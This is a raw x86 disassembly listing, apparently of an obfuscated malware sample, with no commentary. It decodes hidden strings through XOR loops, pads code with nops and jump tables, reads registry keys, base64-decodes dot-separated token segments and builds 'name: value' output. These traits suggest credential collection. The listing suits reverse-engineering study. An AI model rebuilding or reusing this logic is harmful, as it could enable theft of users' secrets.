jne case.default.0x41e572
nop
nop
nop
nop
nop
nop
nop
nop
mov edi, dword [esp + 0x4c]
inc edi
xor eax, eax
cmp di, 0x35
setb al
mov esi, dword [esp + 0x48]
jmp dword [eax*4 + 0x446378]
push eax
push 1
push dword [0x44a924]
push ecx
call fcn.0043d1c0
add esp, 0x10
mov edi, dword [esp + 0x4c]
inc edi
xor eax, eax
cmp di, 0x35
setb al
mov esi, dword [esp + 0x48]
jmp dword [eax*4 + 0x446378]
mov ecx, dword [ebx + edi*8 + 4]
cmp ecx, edx
jne 0x41e5d8
nop
nop
nop
nop
mov esi, dword [esp + 0x44]
mov ebx, dword [esp + 0x40]
jmp dword [0x4463c0]
push ebx
call fcn.00409630
add esp, 4
inc esi
xor eax, eax
cmp esi, dword [esp + 0x38]
setb al
jmp dword [eax*4 + 0x446350]
push eax
push 1
push dword [0x44a924]
push ecx
call fcn.0043d1c0
add esp, 0x10
mov esi, dword [esp + 0x44]
mov ebx, dword [esp + 0x40]
jmp dword [0x4463c0]
add ebx, ecx
movzx edx, word [eax + 2]
add eax, 2
mov ecx, ebx
test dx, dx
je 0x41e645
cmp eax, dword [esp + 4]
jae 0x41e643
movzx esi, dx
cmp esi, 0x800
mov edx, 3
sbb edx, 0
mov ebx, 1
cmp esi, 0x80
jb 0x41e600
mov ebx, edx
jmp 0x41e600
xor eax, eax
jmp 0x41e8ef
xor ebx, ebx
jmp 0x41e645
mov ebx, ecx
mov esi, dword [esp + 0x2200]
mov eax, ebx
and eax, 1
mov ecx, ebx
xor ecx, 1
lea ebp, [ecx + eax*2]
push ebp
call fcn.00409620
add esp, 4
lea edx, [eax + ebp]
dec edx
lea ecx, [esp + 0x11ec]
cmp ecx, dword [esp + 4]
setb cl
mov edi, eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], edx
cmp eax, edx
jae 0x41e767
mov edi, dword [esp + 0x14]
test cl, cl
je 0x41e767
mov edi, dword [esp + 0x14]
mov eax, edi
add eax, ebp
mov dword [esp + 0xc], eax
lea edx, [esp + 0x11ee]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx eax, word [edx - 2]
test ax, ax
je 0x41e767
cmp ax, 0x7f
ja 0x41e6d0
mov byte [edi], al
mov ebp, 1
jmp 0x41e750
mov ecx, edi
not ecx
add ecx, dword [esp + 0xc]
movzx ebp, ax
cmp ecx, 2
jb 0x41e710
cmp ebp, 0x7ff
ja 0x41e710
mov ecx, eax
shr ecx, 6
add cl, 0xc0
mov byte [edi], cl
mov ecx, eax
not ecx
or ecx, 0x3f
add ecx, eax
add cl, 0x81
mov byte [edi + 1], cl
mov ebp, 2
jmp 0x41e750
mov dword [esp + 0x18], ebp
xor ebp, ebp
cmp ecx, 3
jb 0x41e750
mov ebp, dword [esp + 0x18]
mov ecx, ebp
shr ecx, 0xc
or cl, 0xe0
mov byte [edi], cl
mov ecx, ebp
shr ecx, 6
and cl, 0x3f
or cl, 0x80
mov byte [edi + 1], cl
and al, 0x3f
or al, 0x80
mov byte [edi + 2], al
mov ebp, 3
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
add edi, ebp
cmp edi, dword [esp + 0x10]
jae 0x41e767
lea eax, [edx + 2]
cmp edx, dword [esp + 4]
mov edx, eax
jb 0x41e6b0
mov byte [edi], 0
mov dword [esp + 0x7c], 0x2d282f7f
mov dword [esp + 0x80], 0x39455853
mov dword [esp + 0x84], 0x3236304f
mov dword [esp + 0x88], 0x31315475
mov dword [esp + 0x8c], 0x423f383a
mov dword [esp + 0x90], 0xc2c65b7d
mov dword [esp + 0x94], 0xbcc4beb8
mov dword [esp + 0x98], 0xc5c085c1
mov dword [esp + 0x9c], 0x5fc2
mov byte [esp + 0xa0], 0
mov edi, dword [esp + 0x14]
jmp dword [0x4463cc]
mov dword [esp + 0x87c], 0
mov eax, dword [esp + 0x87c]
cmp eax, 0x24
ja 0x41e848
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x87c]
mov ecx, dword [esp + 0x87c]
movzx ecx, byte [esp + ecx + 0x7c]
add eax, 0xa43df3ea
xor eax, ecx
mov dword [esp + 0xa7c], eax
mov eax, dword [esp + 0xa7c]
add al, 0xac
mov ecx, dword [esp + 0x87c]
mov byte [esp + ecx + 0x7c], al
inc dword [esp + 0x87c]
mov eax, dword [esp + 0x87c]
cmp eax, 0x25
jb 0x41e800
lea eax, [esp + 0x7c]
mov ecx, esi
push ebx
push edi
push eax
call fcn.00409fb0
jmp case.0x41e59d.21
lea eax, [esp + 0x7c]
mov ecx, esi
push ebx
push edi
push eax
call fcn.00409fb0
jmp dword [0x4463d4]
mov dword [esp + 0x87c], 0
mov eax, dword [esp + 0x87c]
cmp eax, 0x24
ja 0x41e860
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x87c]
mov ecx, dword [esp + 0x87c]
movzx ecx, byte [esp + ecx + 0x7c]
add eax, 0xa43df3ea
xor eax, ecx
mov dword [esp + 0xa7c], eax
mov eax, dword [esp + 0xa7c]
add al, 0xac
mov ecx, dword [esp + 0x87c]
mov byte [esp + ecx + 0x7c], al
inc dword [esp + 0x87c]
mov eax, dword [esp + 0x87c]
cmp eax, 0x25
jb 0x41e890
jmp 0x41e860
jmp dword [0x4463d8]
push edi
mov esi, eax
call fcn.00409630
mov eax, esi
add esp, 4
and al, 1
mov ecx, dword [case.0x41e59d.28]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp ecx
add esp, 0x21ec
pop esi
pop edi
pop ebx
pop ebp
ret
int3
xor edx, edx
test ecx, ecx
sete dl
mov eax, 0x20119
xor ecx, ecx
jmp dword [edx*4 + 0x446ab8]
jmp dword [ecx*4 + 0x446a20]
mov dword [ebp - 0x84c], 0x984d9a49
mov dword [ebp - 0x848], 0x9c549e5c
mov dword [ebp - 0x844], 0x60b46254
mov dword [ebp - 0x840], 0x64b166b5
mov dword [ebp - 0x83c], 0x68b76abc
mov dword [ebp - 0x838], 0x6cae6ea4
mov dword [ebp - 0x834], 0x70bb72aa
mov dword [ebp - 0x830], 0x74a576b8
mov dword [ebp - 0x82c], 0x78a77ab0
mov dword [ebp - 0x828], 0x7cac7eae
mov dword [ebp - 0x824], 0x409742b7
mov dword [ebp - 0x820], 0x4486469a
mov dword [ebp - 0x81c], 0x488e4a93
mov dword [ebp - 0x818], 0x4c824e95
mov dword [ebp - 0x814], 0x50f452e4
mov dword [ebp - 0x810], 0x54e456e7
mov dword [ebp - 0x80c], 0x58e85ae2
mov dword [ebp - 0x808], 0x5ceb5ef3
mov dword [ebp - 0x804], 0x20f82281
mov dword [ebp - 0x800], 0x24952688
mov dword [ebp - 0x7fc], 0x28982a81
mov dword [ebp - 0x7f8], 0x2c982e92
mov dword [ebp - 0x7f4], 0x30f432f1
mov dword [ebp - 0x7f0], 0x34813684
mov dword [ebp - 0x7ec], 0x389e3a83
mov dword [ebp - 0x7e8], 0x3c8b3e8b
mov dword [ebp - 0x7e4], 0xa602e7
mov dword [ebp - 0x7e0], 0x4b006b7
mov dword [ebp - 0x7dc], 0x8b80aac
mov dword [ebp - 0x7d8], 0xcd30ebb
mov dword [ebp - 0x7d4], 0x10a112d8
mov dword [ebp - 0x7d0], 0x14a516b8
mov dword [ebp - 0x7cc], 0x18af1aa2
mov dword [ebp - 0x7c8], 0x1cb31eb8
mov dword [ebp - 0x7c4], 0xe0e3e2b1
mov byte [ebp - 0x7c0], 0
mov dword [ebp - 0x10], 0
mov ecx, dword [ebp - 0x10]
cmp ecx, 0x8c
ja 0x41ee47
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x10]
movzx edx, byte [ebp + edx - 0x84c]
add ecx, 0x145d1977
xor ecx, edx
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp - 0x14]
add cl, 0x1e
mov edx, dword [ebp - 0x10]
mov byte [ebp + edx - 0x84c], cl
inc dword [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
cmp ecx, 0x8d
jb 0x41ee10
lea ecx, [ebp - 0x24]
lea edx, [ebp - 0x84c]
push 0
push 0
push eax
push ecx
push edx
call fcn.0043fa80
add esp, 0x14
shr eax, 0x1f
mov ecx, 4
jmp dword [eax*4 + 0x446a28]
lea eax, [ebp - 0x4c]
lea ecx, [ebp - 0x34]
push 0
push 0
push 0
push 0
push eax
push ecx
push 0
push 0
push dword [ebp - 0x24]
call fcn.0043fe90
add esp, 0x24
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x446a30]
jmp 0x41f123
mov eax, dword [ebp - 0x34]
mov ecx, eax
shl ecx, 9
lea eax, [ecx + eax*8]
mov esi, dword [ebp - 0x1c]
add eax, esi
push eax
push ebx
call fcn.0043d0e0
add esp, 8
mov dword [ebp - 0x18], eax
lea edi, [eax + esi*2]
xor ebx, ebx
xor eax, eax
cmp ebx, dword [ebp - 0x34]
setb al
jmp dword [eax*4 + 0x446a38]
mov esi, dword [ebp - 0x4c]
mov eax, esi
inc eax
lea eax, [esi + esi + 2]
jns 0x41eef1
mov eax, 0xffffffff
push eax
call fcn.00409620
add esp, 4
mov dword [ebp - 0x48], esi
mov esi, eax
lea eax, [ebp - 0x48]
push eax
push esi
push ebx
push dword [ebp - 0x24]
call fcn.0043fba0
add esp, 0x10
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x446a40]
lea eax, [ebp - 0x3c]
push dword [ebp - 0x24]
push 0
push 0x20019
push eax
push esi
call fcn.0043fa80
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x446a48]
mov eax, dword [case.0x41ee67.6]
jmp case.0x41efe8.2
mov dword [ebp - 0x44], 0x800
mov edx, dword [ebp - 0x20]
mov dword [edx], 0x49cd5710
mov dword [edx + 4], 0x4dda4bdd
mov dword [edx + 8], 0x41ed4fd0
mov dword [edx + 0xc], 0x45fc43cb
mov dword [edx + 0x10], 0xb9d947e7
mov dword [edx + 0x14], 0xbdbabb1f
mov word [edx + 0x18], 0
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
cmp eax, 0x19
ja 0x41efca
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
movzx ecx, byte [edx + ecx]
add eax, 0xccc685ed
xor eax, ecx
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
add al, 0x47
mov ecx, dword [ebp - 0x10]
mov byte [edx + ecx], al
inc dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
cmp eax, 0x1a
jb 0x41efa0
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x84c]
push eax
push 0
push edx
push dword [ebp - 0x3c]
call fcn.00440460
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x446a50]
mov dword [ebp - 0x1c], esi
jmp 0x41f02c
movzx eax, word [ebp - 0x84c]
test ax, ax
je 0x41f021
mov ecx, dword [ebp - 0x2c]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [edi], ax
add edi, 2
movzx eax, word [ecx]
add ecx, 2
test ax, ax
jne 0x41f010
mov dword [ebp - 0x1c], esi
mov word [edi], 0xa
add edi, 2
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x38], 0x494a4b4c
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
cmp eax, 3
ja 0x41f07c
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
movzx ecx, byte [ebp + ecx - 0x38]
add eax, 0xc315bc3b
xor eax, ecx
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
add al, 0x88
mov ecx, dword [ebp - 0x10]
mov byte [ebp + ecx - 0x38], al
inc dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
cmp eax, 4
jb 0x41f050
mov ecx, dword [0x44a91c]
test ecx, ecx
je 0x41f0c0
mov edx, dword [ebp - 0x38]
xor esi, esi
mov eax, dword [0x44a920]
cmp dword [eax + esi*8], 0x625b6034
je 0x41f0a0
inc esi
cmp ecx, esi
jne 0x41f090
jmp 0x41f0c0
mov eax, dword [eax + esi*8 + 4]
cmp eax, edx
je 0x41f0c0
push dword [ebp - 0x30]
push 1
push dword [0x44a924]
push eax
call fcn.0043d1c0
add esp, 0x10
nop
nop
nop
nop
mov eax, dword [case.0x41ee67.6]
mov esi, dword [ebp - 0x1c]
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
jmp dword [0x446a68]
push esi
call fcn.00409630
add esp, 4
mov eax, dword [case.0x41efe8.7]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
mov eax, dword [case.0x41efe8.15]
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
inc ebx
xor eax, eax
cmp ebx, dword [ebp - 0x34]
setb al
jmp dword [eax*4 + 0x446a38]
mov word [edi], 0
mov eax, edi
mov ebx, dword [ebp - 0x18]
sub eax, ebx
sar eax, 1
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], ebx
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x10], 0x494a4b4c
mov dword [ebp - 0x14], 0
mov ecx, dword [ebp - 0x14]
cmp ecx, 3
ja 0x41f174
nop
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x14]
movzx edx, byte [ebp + edx - 0x10]
add ecx, 0xc315bc3b
xor ecx, edx
mov dword [ebp - 0x84c], ecx
mov ecx, dword [ebp - 0x84c]
add cl, 0x88
mov edx, dword [ebp - 0x14]
mov byte [ebp + edx - 0x10], cl
inc dword [ebp - 0x14]
mov ecx, dword [ebp - 0x14]
cmp ecx, 4
jb 0x41f140
mov ecx, dword [0x44a91c]
test ecx, ecx
je case.default.0x41f1d7
mov edx, dword [ebp - 0x10]
xor esi, esi
mov ebx, dword [0x44a920]
nop
nop
nop
nop
nop
nop
nop
cmp dword [ebx + esi*8], 0x625b6034
je 0x41f1a0
inc esi
cmp ecx, esi
jne 0x41f190
jmp case.default.0x41f1d7
mov ecx, dword [ebx + esi*8 + 4]
cmp ecx, edx
je case.default.0x41f1d7
push eax
push 1
push dword [0x44a924]
push ecx
call fcn.0043d1c0
add esp, 0x10
nop
nop
nop
nop
nop
nop
mov esi, dword [ebp - 0x28]
push esi
call fcn.0043f110
add esp, 4
cmp dword [esi], 1
sete cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x446a90]
xor ecx, ecx
mov ebx, dword [ebp - 0x18]
jmp dword [0x446a9c]
mov ecx, 2
mov ebx, dword [ebp - 0x18]
jmp dword [0x446a9c]
nop
nop
jmp dword [0x446aa4]
xor eax, eax
cmp ecx, 4
setl al
jmp dword [eax*4 + 0x446aa8]
xor edx, edx
cmp ecx, 4
sete dl
mov eax, 0x20119
xor ecx, ecx
jmp dword [edx*4 + 0x446ab0]
xor ecx, ecx
cmp edi, ebx
setne cl
xor eax, eax
jmp dword [ecx*4 + 0x446ad0]
mov dword [ebp - 0x18], ebx
movzx ecx, word [ebx]
test cx, cx
je 0x41f288
xor eax, eax
mov ebx, dword [ebp - 0x18]
jmp 0x41f25e
add eax, edx
movzx ecx, word [ebx + 2]
add ebx, 2
test cx, cx
je 0x41f288
test edi, edi
je 0x41f266
cmp ebx, edi
jae 0x41f288
movzx esi, cx
cmp esi, 0x800
mov ecx, 3
sbb ecx, 0
mov edx, 1
cmp esi, 0x80
jb 0x41f250
mov edx, ecx
jmp 0x41f250
mov edx, eax
and edx, 1
mov dword [ebp - 0x2c], eax
mov ecx, eax
xor ecx, 1
lea esi, [ecx + edx*2]
push esi
call fcn.00409620
add esp, 4
lea ecx, [eax + esi]
dec ecx
mov ebx, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], ecx
cmp eax, ecx
jae 0x41f375
mov ebx, dword [ebp - 0x20]
mov eax, ebx
add eax, esi
mov dword [ebp - 0x30], eax
mov esi, dword [ebp - 0x18]
jmp 0x41f2e5
mov byte [ebx], dl
mov ecx, 1
add esi, 2
add ebx, ecx
cmp ebx, dword [ebp - 0x1c]
jae 0x41f375
test edi, edi
je 0x41f2f1
cmp esi, edi
jae 0x41f375
movzx edx, word [esi]
test dx, dx
je 0x41f375
cmp dx, 0x7f
jbe 0x41f2d0
mov eax, ebx
not eax
add eax, dword [ebp - 0x30]
movzx ecx, dx
cmp eax, 2
jb 0x41f340
cmp ecx, 0x7ff
ja 0x41f340
mov eax, edx
shr eax, 6
add al, 0xc0
mov byte [ebx], al
mov eax, edx
xor eax, 0xc0
or edx, 0x3f
and edx, eax
add dl, 0x80
mov byte [ebx + 1], dl
mov ecx, 2
jmp 0x41f2d7
mov dword [ebp - 0x28], ecx
xor ecx, ecx
cmp eax, 3
jb 0x41f2d7
mov ecx, dword [ebp - 0x28]
mov eax, ecx
shr eax, 0xc
or al, 0xe0
mov byte [ebx], al
shr ecx, 6
and cl, 0x3f
or cl, 0x80
mov byte [ebx + 1], cl
and dl, 0x3f
or dl, 0x80
mov byte [ebx + 2], dl
mov ecx, 3
jmp 0x41f2d7
mov byte [ebx], 0
mov edx, dword [ebp - 0x40]
mov dword [edx], 0x72817590
mov dword [edx + 4], 0x8d798b70
mov dword [edx + 8], 0x7a7778c3
mov byte [edx + 0xc], 0x11
mov dword [edx + 0xd], 0
mov dword [edx + 0x10], 0
mov dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x14]
cmp eax, 0x13
ja 0x41f3e0
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x14]
movzx ecx, byte [edx + ecx]
add eax, 0x8c22fb74
xor eax, ecx
mov dword [ebp - 0x84c], eax
mov eax, dword [ebp - 0x84c]
add al, 0x6f
mov ecx, dword [ebp - 0x14]
mov byte [edx + ecx], al
inc dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp eax, 0x14
jb 0x41f3b0
mov ecx, dword [ebp + 8]
push dword [ebp - 0x2c]
mov esi, dword [ebp - 0x20]
push esi
push edx
call fcn.00409fb0
mov ebx, dword [ebp - 0x18]
jmp dword [0x446ad8]
push esi
mov esi, eax
call fcn.00409630
mov eax, esi
add esp, 4
push ebx
mov ebx, eax
call fcn.0043b460
add esp, 4
mov eax, ebx
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
int3
push eax
sub esp, 8
mov edi, esp
sub esp, 0x30
mov esi, esp
jmp eax
sub esp, 0x400
mov eax, esp
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x30], eax
push eax
mov dword [ebp - 0x7c], esp
sub esp, 8
mov eax, esp
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x34], eax
sub esp, 0x24
mov dword [ebp - 0x78], esp
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x70], 0x82398c38
mov dword [ebp - 0x6c], 0x86208026
mov dword [ebp - 0x68], 0x9af7843a
mov dword [ebp - 0x64], 0x9e11983e
mov dword [ebp - 0x60], 0x929d9c3a
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x1c], 0
mov eax, dword [ebp - 0x1c]
cmp eax, 0x17
ja 0x41f93c
nop
nop
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
movzx ecx, byte [ebp + ecx - 0x70]
add eax, 0x56159525
xor eax, ecx
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
add al, 0x56
mov ecx, dword [ebp - 0x1c]
mov byte [ebp + ecx - 0x70], al
inc dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp eax, 0x18
jb 0x41f910
lea eax, [ebp - 0x70]
lea ecx, [ebp - 0x58]
push eax
call fcn.0043b540
shr eax, 0x1f
xor ebx, ebx
jmp dword [eax*4 + 0x446af0]
lea ecx, [ebp - 0x58]
push 0x410
call fcn.0043b780
not eax
shr eax, 0x1f
xor ebx, ebx
jmp dword [eax*4 + 0x446af8]
mov dword [esi], 0xcff63dc8
mov dword [esi + 4], 0x3dc9eed3
mov dword [esi + 8], 0xb1b8b494
mov dword [esi + 0xc], 0xa4bdb390
mov dword [esi + 0x10], 0xb59e87a9
mov dword [esi + 0x14], 0xbc9b8398
mov dword [esi + 0x18], 0xa7bc83bd
mov dword [esi + 0x1c], 0xa39aa18e
mov dword [esi + 0x20], 0x8b87bb85
mov dword [esi + 0x24], 0xab8ee6bc
mov dword [esi + 0x28], 0xe8d9b2b4
mov word [esi + 0x2c], 0
mov byte [esi + 0x2e], 0
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
cmp eax, 0x2e
ja case.0x41e59d.98
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
movzx ecx, byte [esi + ecx]
lea edx, [eax + ecx]
add eax, 0xb8
and eax, ecx
add eax, eax
sub edx, eax
add edx, 0x59cb70b8
mov dword [ebp - 0x70], edx
mov eax, dword [ebp - 0x70]
add al, 0xf5
mov ecx, dword [ebp - 0x10]
mov byte [esi + ecx], al
inc dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
cmp eax, 0x2f
jb 0x41f9e0
lea ecx, [ebp - 0x58]
push 0
push 0x2b
push esi
push edi
call fcn.0043bdc0
mov esi, dword [edi]
mov ebx, dword [edi + 4]
xor eax, eax
cmp esi, ebx
sete al
jmp dword [eax*4 + 0x446b00]
mov eax, ebx
sub eax, esi
sar eax, 2
imul eax, eax, 0x421
push eax
call fcn.00409620
add esp, 4
jmp dword [0x446b14]
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x18], 0
inc dword [ebp - 0x44]
add dword [ebp - 0x48], 4
mov ecx, eax
xor eax, eax
cmp esi, ebx
setne al
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x14], ecx
mov edi, dword [ebp - 0x30]
jmp dword [eax*4 + 0x446b18]
mov ebx, dword [ebp - 0x18]
mov eax, ebx
and al, 1
movzx eax, al
jmp dword [eax*4 + 0x446b20]
mov edi, dword [ebp - 0x40]
jmp dword [0x446bb0]
push dword [ebp - 0x3c]
call fcn.00409630
add esp, 4
and bl, 1
mov dword [ebp - 0x18], ebx
mov esi, dword [edi]
mov ebx, dword [edi + 4]
test esi, esi
jne 0x41fe99
jmp 0x41fec3
add esi, 4
xor eax, eax
mov ebx, dword [ebp - 0x80]
cmp esi, ebx
setne al
jmp dword [eax*4 + 0x446b18]
mov dword [ebp - 0x80], ebx
mov dword [ebp - 0x20], esi
mov esi, dword [esi]
push 0x400
push 0
push edi
call fcn.004096a0
add esp, 0xc
lea ecx, [ebp - 0x58]
mov ebx, dword [ebp - 0x7c]
push ebx
push 0x400
push edi
push esi
call fcn.0043bc60
cmp eax, 0xc0000000
setae al
cmp dword [ebx], 0
sete cl
or cl, al
movzx eax, cl
jmp dword [eax*4 + 0x446b28]
mov eax, 1
mov esi, dword [ebp - 0x20]
jmp dword [eax*4 + 0x446b30]
xor eax, eax
mov esi, dword [ebp - 0x20]
jmp dword [eax*4 + 0x446b30]
mov byte [edi + 0x3ff], 0
movzx eax, byte [edi]
xor edx, edx
test al, al
je 0x41fb71
mov ecx, edi
nop
nop
cmp al, 0x2e
je 0x41fb6f
movzx eax, byte [ecx + 1]
inc ecx
test al, al
jne 0x41fb60
jmp 0x41fb71
mov edx, ecx
xor eax, eax
test edx, edx
setne al
jmp dword [eax*4 + 0x446b38]
movzx eax, byte [edx + 1]
inc edx
xor ebx, ebx
test al, al
mov dword [ebp - 0x2c], edx
je 0x41fba1
mov ecx, edx
nop
cmp al, 0x2e
je 0x41fb9f
movzx eax, byte [ecx + 1]
inc ecx
test al, al
jne 0x41fb90
jmp 0x41fba1
mov ebx, ecx
xor eax, eax
test ebx, ebx
setne al
mov edx, dword [ebp - 0x2c]
jmp dword [eax*4 + 0x446b40]
mov esi, ebx
sub esi, edx
mov eax, esi
and eax, 0xfffffffc
mov ecx, esi
and ecx, 3
mov dword [ebp - 0x28], esi
mov edi, esi
or edi, 3
imul edi, ecx
xor ecx, 3
imul ecx, eax
add edi, ecx
shr edi, 2
movzx eax, byte [ebx - 1]
cmp eax, 0x3d
mov esi, edx
je 0x41fbe6
cmp eax, 0x2e
jne 0x41fbe7
dec edi
mov eax, dword [ebp - 0x28]
movzx eax, byte [esi + eax - 2]
cmp eax, 0x3d
je 0x41fbf9
cmp eax, 0x2e
jne 0x41fbfa
dec edi
mov dword [ebp - 0x74], edi
lea eax, [edi + 1]
push eax
call fcn.00409620
add esp, 4
mov dword [ebp - 0x24], eax
cmp ebx, esi
je 0x41fceb
xor edx, edx
mov esi, 2
jmp 0x41fc30
mov edx, dword [ebp - 0x4c]
lea eax, [esi + 4]
add esi, 2
cmp esi, ecx
mov esi, eax
jae 0x41fceb
mov dword [ebp - 0x38], edx
mov edi, dword [ebp - 0x2c]
movzx eax, byte [edi + esi - 2]
push eax
call fcn.00415e70
add esp, 4
mov ebx, eax
movzx eax, byte [edi + esi - 1]
push eax
call fcn.00415e70
add esp, 4
mov bh, al
shl bl, 2
shr al, 4
and al, 3
or al, bl
mov ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x38]
mov byte [ecx + edx], al
inc edx
mov ecx, dword [ebp - 0x28]
cmp esi, ecx
jae 0x41fc20
mov eax, dword [ebp - 0x2c]
movzx eax, byte [eax + esi]
push eax
mov edi, edx
call fcn.00415e70
mov edx, edi
mov ecx, dword [ebp - 0x28]
add esp, 4
cmp al, 0x40
je 0x41fc20
mov bl, al
shl bh, 4
shr al, 2
and al, 0xf
or al, bh
mov edi, dword [ebp - 0x38]
lea edx, [edi + 2]
mov dword [ebp - 0x4c], edx
mov edx, dword [ebp - 0x24]
mov byte [edx + edi + 1], al
lea eax, [esi + 1]
cmp eax, ecx
jae 0x41fc1d
mov eax, dword [ebp - 0x2c]
movzx eax, byte [eax + esi + 1]
push eax
call fcn.00415e70
mov ecx, dword [ebp - 0x28]
add esp, 4
cmp al, 0x40
mov edx, dword [ebp - 0x4c]
je 0x41fc20
shl bl, 6
add al, bl
mov edx, dword [ebp - 0x24]
mov edi, dword [ebp - 0x38]
mov byte [edx + edi + 2], al
add edi, 3
mov edx, edi
jmp 0x41fc20
mov eax, dword [ebp - 0x74]
mov esi, dword [ebp - 0x24]
mov byte [esi + eax], 0
push esi
call fcn.00402990
add esp, 4
mov ebx, eax
jmp dword [0x446b58]
push esi
call fcn.00409630
add esp, 4
mov edi, dword [ebp - 0x30]
mov esi, dword [ebp - 0x34]
jmp dword [0x446b60]
mov edi, dword [ebp - 0x30]
mov esi, dword [ebp - 0x34]
jmp dword [0x446b60]
push ebx
call fcn.004032a0
add esp, 4
push ebx
call fcn.004032a0
add esp, 4
jmp dword [0x446b6c]
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x446b70]
mov esi, dword [ebp - 0x20]
jmp dword [0x446b90]
mov dword [esi], 0xdab94f4c
mov ecx, dword [ebp - 0x48]
mov byte [ecx + 2], 0
mov word [ecx], 0
mov dword [ebp - 0x10], 0
mov ecx, dword [ebp - 0x10]
cmp ecx, 6
ja 0x41fdbc
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x10]
movzx edx, byte [esi + edx]
lea esi, [ecx + edx]
add ecx, 0xc0
and ecx, edx
add ecx, ecx
sub esi, ecx
add esi, 0xcf5810c0
mov dword [ebp - 0x70], esi
mov esi, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x70]
add cl, 0xe7
mov edx, dword [ebp - 0x10]
mov byte [esi + edx], cl
inc dword [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
cmp ecx, 7
jb 0x41fd80
push esi
push eax
call fcn.004031f0
add esp, 8
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x446b78]
jmp 0x41fde2
jmp dword [0x446b84]
add ecx, 2
mov dword [ebp - 0x14], ecx
movzx eax, byte [edi]
test al, al
mov esi, dword [ebp - 0x20]
je 0x41fe0d
mov ecx, dword [ebp - 0x44]
mov edx, dword [ebp - 0x14]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x41fe00
jmp 0x41fe10
mov edx, dword [ebp - 0x14]
mov byte [edx], 0xa
inc edx
mov dword [ebp - 0x14], edx
mov al, 1
mov dword [ebp - 0x18], eax
jmp dword [0x446b90]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x14]
test cl, cl
je 0x41fe4b
lea esi, [eax + 1]
mov edx, dword [ebp - 0x14]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edx], cl
inc edx
movzx ecx, byte [esi]
inc esi
test cl, cl
jne 0x41fe40
mov word [edx], 0x203a
movzx edx, byte [eax]
mov ecx, dword [ebp - 0x14]
test dl, dl
je 0x41fe6b
lea esi, [eax + 1]
mov ecx, dword [ebp - 0x14]
mov byte [ecx], dl
inc ecx
movzx edx, byte [esi]
inc esi
test dl, dl
jne 0x41fe60
mov word [ecx], 0x203a
jmp dword [0x446b88]
push ebx
call fcn.00403510
add esp, 4
push ebx
call fcn.00403510
add esp, 4
jmp dword [0x446b98]
mov dword [ebp - 0x18], 0
test esi, esi
je 0x41fec3
cmp esi, ebx
je 0x41fec3
push esi
call fcn.00409630
add esp, 4
mov dword [edi], 0
mov dword [edi + 4], 0
mov dword [edi + 8], 0
